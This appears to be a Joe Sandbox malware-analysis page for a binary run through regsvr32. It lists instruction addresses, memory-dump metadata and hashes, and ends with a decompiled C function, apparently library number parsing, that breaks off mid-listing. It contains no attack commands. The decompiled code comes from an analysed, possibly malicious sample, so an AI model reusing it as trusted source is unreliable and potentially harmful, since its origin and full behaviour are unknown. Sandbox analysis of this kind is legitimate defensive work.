0x004191f0
0x004191f4
0x0041924f
0x0041924f
0x004191f6
0x004191f6
0x004191f8
0x004191f8
0x004191fb
0x00000000
0x004191fd
0x004191fd
0x00419201
0x00419205
0x0041920a
0x00419210
0x00419210
0x00419213
0x00419216
0x00000000
0x00000000
0x00419218
0x0041921c
0x00419222
0x00419230
0x00419232
0x00000000
0x00000000
0x00000000
0x00000000
0x00419224
0x00419224
0x00419226
0x00419238
0x00419238
0x0041923b
0x0041923f
0x00419241
0x00419241
0x00419241
0x00419244
0x00419247
0x00000000
0x00000000
0x00000000
0x00000000
0x00419228
0x00419745
0x00419745
0x00419745
0x00419226
0x00000000
0x00419222
0x00419249
0x00419249
0x004191fb
0x004191f4
0x00419253
0x00419253
0x00419257
0x0041925b
0x0041925f
0x00419261
0x00419268
0x0041926e
0x00419270
0x00419270
0x00419274
0x00419274
0x00419279
0x0041927c
0x00419280
0x00418e2e
0x00418e2e
0x00418e31
0x00418e33
0x00418e37
0x00418e3a
0x00418e3a
0x00418e3d
0x00418e3d
0x00000000
0x00419286
0x00418e41
0x00418e41
0x00418e44
0x00418e46
0x00418e49
0x00418e4e
0x00418e51
0x00418e57
0x00418e5a
0x00418e5d
0x00418e6d
0x00418e70
0x00418e73
0x00418e5f
0x00418e63
0x00418e66
0x00000000
0x00418e68
0x00418e68
0x00418e68
0x00418e66
0x00418e76
0x00418e79
0x00418e7b
0x00418e80
0x00418e80
0x00418e80
0x00418e88
0x00418e8b
0x00418e8e
0x00418e94
0x00418e97
0x00418e9a
0x00418eaa
0x00418ead
0x00418eb0
0x00418e9c
0x00418ea0
0x00418ea3
0x00000000
0x00418ea5
0x00418ea5
0x00418ea5
0x00418ea3
0x00418eb3
0x00418eb6
0x00418eb8
0x00418ebd
0x00418ebd
0x00418ebd
0x00418ec1
0x00418ec3
0x00419303
0x00419303
0x00419306
0x00000000
0x0041930c
0x00418ec9
0x00418ec9
0x00418ecd
0x00418ed1
0x00418ed7
0x00418eda
0x00418edd
0x004192a2
0x004192a2
0x00418ee3
0x00418ee7
0x00418eea
0x00418eed
0x0041928b
0x0041928e
0x00418ef3
0x00418ef7
0x00418efa
0x00000000
0x00418f00
0x00418f00
0x00418f00
0x00418efa
0x00419294
0x0041929a
0x00000000
0x0041929c
0x0041929c
0x0041929c
0x0041929a
0x004192a9
0x004192a9
0x004192b1
0x004192b7
0x004192ba
0x004192bd
0x00419300
0x00000000
0x004192bf
0x004192bf
0x004192cd
0x004192cf
0x004192d2
0x004192d5
0x004192d8
0x00419325
0x00419325
0x0041932c
0x004192da
0x004192da
0x004192de
0x004192e1
0x004192e4
0x0041930e
0x00419311
0x00419314
0x004192e6
0x004192e6
0x004192ea
0x004192ec
0x004192ee
0x00000000
0x004192f0
0x004192f2
0x004192f8
0x004192fb
0x004192fb
0x004192ee
0x0041931a
0x0041931f
0x00000000
0x00419321
0x00419321
0x00419321
0x0041931f
0x0041932e
0x00419332
0x00419335
0x00419338
0x0041934b
0x0041934b
0x0041934b
0x0041934e
0x00419350
0x00419353
0x00419358
0x00000000
0x00000000
0x0041935e
0x00419361
0x00419364
0x00419380
0x00419383
0x00419366
0x0041936a
0x0041936d
0x00000000
0x0041936f
0x0041936f
0x0041936f
0x0041936d
0x00419386
0x00419389
0x0041938b
0x00419390
0x00419390
0x00419394
0x00419398
0x0041939b
0x0041939e
0x004193a4
0x004193a7
0x004193aa
0x004193c0
0x004193c3
0x004193ac
0x004193b0
0x004193b3
0x00000000
0x004193b5
0x004193b5
0x004193b5
0x004193b3
0x004193c6
0x004193c9
0x004193cb
0x004193d0
0x004193d0
0x004193d0
0x004193d4
0x004193d6
0x004193dc
0x004193e0
0x004193e2
0x004193e5
0x004193e8
0x00419420
0x00419420
0x004193ea
0x004193ee
0x004193f1
0x004193f4
0x00419404
0x00419407
0x004193f6
0x004193fa
0x004193fd
0x00000000
0x004193ff
0x004193ff
0x004193ff
0x004193fd
0x0041940d
0x00419413
0x00000000
0x00419415
0x00419415
0x00419415
0x00419413
0x00419427
0x00419427
0x0041942b
0x0041942f
0x00419433
0x00419435
0x00419438
0x0041943b
0x00419490
0x00419490
0x00419497
0x00000000
0x0041943d
0x0041943d
0x00419441
0x00419444
0x00419447
0x00419470
0x00419473
0x00419449
0x00419449
0x0041944d
0x0041944f
0x00419451
0x00000000
0x00419453
0x00419455
0x0041945b
0x0041945e
0x0041945e
0x00419451
0x00419479
0x0041947e
0x00000000
0x00419480
0x00419480
0x00419340
0x00419340
0x00419343
0x00419343
0x00419346
0x00419348
0x00000000
0x00419348
0x0041947e
0x0041943b
0x00419433
0x0041949e
0x004194a1
0x004194a3
0x004194a7
0x004194ad
0x004194b1
0x004194b1
0x004194b1
0x004194b4
0x00000000
0x004194b4
0x0041934b
0x00419338
0x004192bd
0x004194b7
0x004194b7
0x00419561
0x00419561
0x00419561
0x00419564
0x00419566
0x00419569
0x0041956e
0x00000000
0x00000000
0x00419574
0x00419577
0x0041957a
0x00419590
0x00419593
0x0041957c
0x00419580
0x00419583
0x00000000
0x00419585
0x00419585
0x00419585
0x00419583
0x00419596
0x00419599
0x0041959b
0x004195a0
0x004195a0
0x004195a4
0x004195a8
0x004195ab
0x004195ae
0x004195b4
0x004195b7
0x004195ba
0x004195d0
0x004195d3
0x004195bc
0x004195c0
0x004195c3
0x00000000
0x004195c5
0x004195c5
0x004195c5
0x004195c3
0x004195d6
0x004195d9
0x004195db
0x004195e0
0x004195e0
0x004195e0
0x004195e4
0x004195e6
0x004195ec
0x004195f0
0x004195f2
0x004195f5
0x004195f8
0x00419630
0x00419630
0x004195fa
0x004195fe
0x00419601
0x00419604
0x00419614
0x00419617
0x00419606
0x0041960a
0x0041960d
0x00000000
0x0041960f
0x0041960f
0x0041960f
0x0041960d
0x0041961d
0x00419623
0x00000000
0x00419625
0x00419625
0x00419625
0x00419623
0x00419637
0x00419637
0x0041963b
0x0041963f
0x00419642
0x00419650
0x00419650
0x00419654
0x00419658
0x0041965b
0x00000000
0x00000000
0x00419661
0x00419664
0x00000000
0x00419666
0x00000000
0x00419666
0x00419c48
0x00419c4f
0x00419c53
0x00419c57
0x00419c5b
0x00419c5f
0x00419c63
0x00419c66
0x00419c6a
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c7f
0x00419c7f
0x00419c83
0x00419c83
0x00419c88
0x00419c9d
0x00000000
0x00419c9d
0x004194c7
0x004194ca
0x004194ce
0x004194d4
0x004194d8
0x004194e4
0x004194e8
0x004194ed
0x004194f1
0x004194f1
0x004194f1
0x004194f4
0x004194f7
0x004194fa
0x00419550
0x00419550
0x00419557
0x004194fc
0x004194fc
0x00419500
0x00419503
0x00419506
0x00419530
0x00419533
0x00419508
0x00419508
0x0041950c
0x0041950e
0x00419510
0x00000000
0x00419512
0x00419514
0x0041951a
0x0041951d
0x0041951d
0x00419510
0x00419539
0x0041953e
0x00000000
0x00419540
0x00419540
0x00419540
0x0041953e
0x00419559
0x0041955c
0x0041955e
0x00000000
0x0041955e
0x004194ce
0x0041966b
0x0041966f
0x00419673
0x00419681
0x00419684
0x00419686
0x00419689
0x0041968e
0x00419692
0x00419695
0x0041969b
0x0041969e
0x004196a1
0x004196b1
0x004196b4
0x004196b7
0x004196bb
0x004196be
0x004196a3
0x004196a7
0x004196aa
0x00000000
0x004196ac
0x004196ac
0x004196ac
0x004196aa
0x004196c2
0x004196c5
0x004196c7
0x004196cc
0x004196cc
0x004196cc
0x004196d4
0x004196d7
0x004196da
0x004196e0
0x004196e3
0x004196e6
0x004196f6
0x004196f9
0x004196fc
0x00419700
0x00419703
0x004196e8
0x004196ec
0x004196ef
0x00000000
0x004196f1
0x004196f1
0x004196f1
0x004196ef
0x00419707
0x0041970a
0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 06161f6ed6a03db76a179922cf84151a08903ab0d9fe92f671701ef81eb0cd3c
Instruction ID: 9c84c7b2ffb1d92df69679d01e2063c82b1d88fad40725d141eb211f5bec59f9
Opcode Fuzzy Hash: 06161f6ed6a03db76a179922cf84151a08903ab0d9fe92f671701ef81eb0cd3c
Instruction Fuzzy Hash: 58124976605A5489EB248F1AC4903BE3361FB44F88B68942BEE4E4B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 004186C7 Relevance: 1.7, Strings: 1, Instructions: 482
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186C7(void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				void* _t603;
				char _t708;
				intOrPtr* _t709;
				intOrPtr* _t711;
				intOrPtr* _t714;
				signed short* _t717;
				char* _t719;
				signed long long _t721;
				intOrPtr _t726;
				char* _t731;
				signed long long _t733;
				signed short* _t735;
				signed short** _t737;
				signed short* _t740;
				signed short* _t743;
				signed short* _t746;
				signed short** _t748;
				signed short* _t751;
				signed short* _t754;
				signed short** _t756;
				signed short* _t760;
				signed short* _t763;
				signed short** _t765;
				signed short* _t768;
				signed short* _t771;
				signed short* _t774;
				signed short* _t777;
				char* _t779;
				signed long long _t781;
				signed short* _t783;
				signed short** _t785;
				signed short* _t788;
				signed short* _t791;
				char* _t794;
				signed short* _t797;
				signed short** _t799;
				signed short* _t802;
				signed short* _t805;
				intOrPtr* _t807;
				signed short** _t809;
				signed short* _t812;
				signed short* _t815;
				signed short* _t818;
				char* _t820;
				signed int _t821;
				signed short* _t823;
				signed short** _t825;
				signed short* _t828;
				signed short* _t831;
				signed short* _t833;
				intOrPtr _t834;
				void* _t837;
				long long _t838;
				intOrPtr* _t839;
				signed short* _t842;
				long long* _t844;
				signed int _t848;
				void* _t851;
				signed int _t854;
				signed short** _t857;
				signed short* _t860;
				signed short* _t865;
				signed short** _t867;
				signed short* _t871;
				signed short* _t874;
				signed short* _t877;
				intOrPtr* _t879;
				intOrPtr* _t880;
				void* _t882;
				long long* _t883;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t899;
				intOrPtr* _t900;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr* _t906;
				intOrPtr* _t907;
				intOrPtr _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t913;
				intOrPtr* _t914;
				intOrPtr* _t916;
				intOrPtr* _t919;
				intOrPtr* _t920;
				intOrPtr* _t922;
				intOrPtr* _t923;
				intOrPtr* _t925;
				intOrPtr* _t926;
				intOrPtr* _t927;
				intOrPtr* _t929;
				intOrPtr* _t931;
				char* _t934;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t938;
				intOrPtr* _t939;
				intOrPtr* _t941;
				intOrPtr* _t944;
				intOrPtr* _t946;
				char* _t948;
				intOrPtr* _t950;
				intOrPtr* _t952;
				intOrPtr* _t953;
				intOrPtr* _t954;
				intOrPtr _t955;
				char* _t956;
				signed long long _t958;
				void* _t960;
				intOrPtr _t963;
				intOrPtr _t964;
				intOrPtr* _t966;
				char* _t970;
				intOrPtr* _t972;
				intOrPtr* _t974;
				intOrPtr* _t975;
				intOrPtr* _t976;
				intOrPtr* _t978;
				intOrPtr* _t979;
				intOrPtr* _t981;
				intOrPtr* _t982;
				intOrPtr* _t984;
				intOrPtr* _t985;
				intOrPtr* _t988;
				signed int _t989;
				signed short* _t992;
				signed short* _t996;
				signed short* _t1000;
				signed short* _t1003;
				signed short* _t1008;
				signed short* _t1012;
				signed short* _t1016;
				signed short* _t1020;
				signed short* _t1029;
				signed short* _t1030;
				signed short* _t1033;
				signed short* _t1038;
				signed int* _t1044;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				signed int* _t1050;
				signed int* _t1051;
				intOrPtr* _t1052;
				signed int* _t1053;
				signed int* _t1054;
				signed int _t1055;
				void* _t1056;
				intOrPtr _t1057;
				intOrPtr* _t1058;
				long long _t1060;
				signed short* _t1062;
				intOrPtr* _t1063;
				char* _t1064;
				void* _t1068;
				long long* _t1071;
				signed int _t1073;
				signed int _t1076;
				long long _t1077;
				void* _t1079;
				void* _t1080;
				intOrPtr* _t1081;
				long long _t1082;
				char* _t1083;
				signed int _t1085;
				char* _t1086;
				void* _t1087;
				void* _t1088;
				char* _t1090;
				void* _t1091;
				signed int _t1092;
				char* _t1093;
				long long _t1094;
				signed int _t1096;
				void* _t1097;
				short* _t1098;
				long long _t1101;
				long long _t1102;

				_t1097 = __r15;
				_t1091 = __r14;
				_t1088 = __r13;
				_t1080 = __r12;
				_t1077 = __r9;
				_t1071 = __r8;
				_t1044 = __rdi;
				_t989 = __rdx;
				_t882 = __rbx;
				_t415 = E00401F90(_t531, _t549, _t603, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t1056 = __rax;
				_t708 = _v32;
				if(_t708 >= 0x10) {
					_t988 = _v56;
					if(_t708 + 1 >= 0x1000) {
						_t988 =  *((intOrPtr*)(_t988 - 8));
					}
					_t415 = E00402090(_t415, _t988);
				}
				_t416 = E0044CEA0(_t415, _t1056);
				asm("ud2");
				_t709 =  *_t1063;
				 *_t709 =  *_t709 + _t416;
				 *_t709 =  *_t709 + _t416;
				0;
				0;
				_t1064 =  &_v192;
				_a96 = _t1077;
				_t883 = _t1071;
				_t1092 = _t989;
				_t1057 = _a224;
				_t887 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_v32 = _t887;
				_t711 =  *_t887;
				 *((intOrPtr*)(_t711 + 0x10))(_t882, _t1044, _t1056, _t1080, _t1088, _t1091, _t1097, _t1063, _t1068);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1071, _t1077, _t1079, _t1080, _t1088, _t1092, _t1097);
				_t1081 = _t711;
				_t889 = _v32;
				if(_t889 != 0) {
					_t880 =  *_t889;
					 *((intOrPtr*)(_t880 + 0x18))();
					if(_t880 != 0) {
						 *((intOrPtr*)( *_t880 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1081 + 0x30))();
				_t891 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_a40 = _t891;
				_t714 =  *_t891;
				 *((intOrPtr*)(_t714 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1071, _t1077, _t1079, _t1092);
				_t1058 = _t714;
				_t893 = _a40;
				if(_t893 != 0) {
					_t879 =  *_t893;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1058 + 0x68))();
				_t895 =  *_t883;
				_t568 = 0;
				_t558 = 0;
				if(_t895 != 0) {
					_t877 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t877 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t524 =  *_t877 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t896 =  *_a96;
				if(_t896 != 0) {
					_t874 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t874 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t896 + 0x38))();
					} else {
						_t522 =  *_t874 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1098 = _t1092;
				if(_t558 != _t568) {
					if( *(_t883 + 8) == 0) {
						_t985 =  *_t883;
						if(_t985 == 0) {
							L35:
							 *_t883 = 0;
						} else {
							_t871 =  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x38))));
							if(_t871 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t985 + 0x38))();
							} else {
								_t521 =  *_t871 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L35;
							} else {
								 *(_t883 + 0xa) = _t521;
							}
						}
						 *(_t883 + 8) = 1;
					}
					_t517 =  *(_t883 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1098 = _t1092;
						if(_t517 == _a12) {
							 *_t1092 = 0x2d;
							_t982 =  *_t883;
							__eflags = _t982;
							if(_t982 == 0) {
								goto L50;
							} else {
								_t867 =  *((intOrPtr*)(_t982 + 0x38));
								_t1038 =  *_t867;
								__eflags = _t1038;
								if(_t1038 == 0) {
									L47:
									_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t982 + 0x50));
									_t600 =  *_t1044;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L47;
									} else {
										goto L46;
									}
								}
								goto L48;
							}
							goto L51;
						}
					} else {
						 *_t1092 = 0x2b;
						_t984 =  *_t883;
						if(_t984 == 0) {
							L50:
							 *_t883 = 0;
							_t518 = 1;
						} else {
							_t867 =  *((intOrPtr*)(_t984 + 0x38));
							_t1038 =  *_t867;
							if(_t1038 == 0) {
								L41:
								_t519 =  *((intOrPtr*)( *_t984 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t984 + 0x50));
								_t600 =  *_t1044;
								if(_t600 > 0) {
									L46:
									 *_t1044 = _t600 - 1;
									 *_t867 =  &(_t1038[1]);
									_t519 =  *_t1038 & 0x0000ffff;
								} else {
									goto L41;
								}
							}
							L48:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L50;
							} else {
								_t518 = 0;
							}
						}
						L51:
						_t1098 = _t1092 + 1;
						 *(_t883 + 8) = _t518;
					}
				}
				 *_t1098 = 0x7830;
				_t897 =  *_t883;
				_t569 = 0;
				_t559 = 0;
				if(_t897 != 0) {
					_t865 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
					if(_t865 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t897 + 0x38))();
					} else {
						_t515 =  *_t865 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t717 = _a96;
				_t898 =  *_t717;
				if(_t898 != 0) {
					_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
